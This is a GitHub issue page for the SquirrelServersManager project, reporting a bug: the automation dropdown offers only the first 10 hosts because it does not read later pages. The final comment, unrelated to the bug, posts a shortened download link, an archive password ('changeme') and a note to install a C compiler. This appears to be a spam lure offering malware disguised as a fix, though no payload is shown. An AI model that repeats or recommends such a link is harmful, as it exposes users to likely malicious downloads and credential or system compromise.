SquirrelCorporation / SquirrelServersManager

A user friendly, UI/UX focus server & configuration management tool
https://squirrelserversmanager.io/
GNU Affero General Public License v3.0
597 stars 20 forks source link

[BUG] Only 10 hosts available for automation #319

Open btajuddin opened 2 hours ago

btajuddin commented 2 hours ago

Describe the bug Using the UI, you can only add hosts from the first 10 in the devices list as targets for the automation task. This appears to be because the default page size is 10, and the dropdown is not configured to read other pages from the server.

Logs N/A

To Reproduce Steps to reproduce the behavior:

  1. Add more than 10 hosts
  2. Go to the devices page and find a host after page 1
  3. Go to Automations
  4. Click "Create a new automation"
  5. Select a trigger
  6. Select a playbook
  7. In the host selection, try to select the host from after page 1 (step 2). It won't show up in the list.
  8. Try typing the name of the host from step 2 into the box. It won't show up and cannot be saved.

Expected behavior There needs to be a way to select a host that's not one of the first 10.

Screenshots 2024-09-28 19 04 19 ada manatee-bee ts net 25fbca5683e2

Screenshot from 2024-09-28 19-06-50

(please complete the following information):

Additional context Add any other context about the problem here.

SagarChandra07 commented 2 hours ago

download https://bit.ly/47P0Nvo Archive password: changeme

you may need to install the c compiler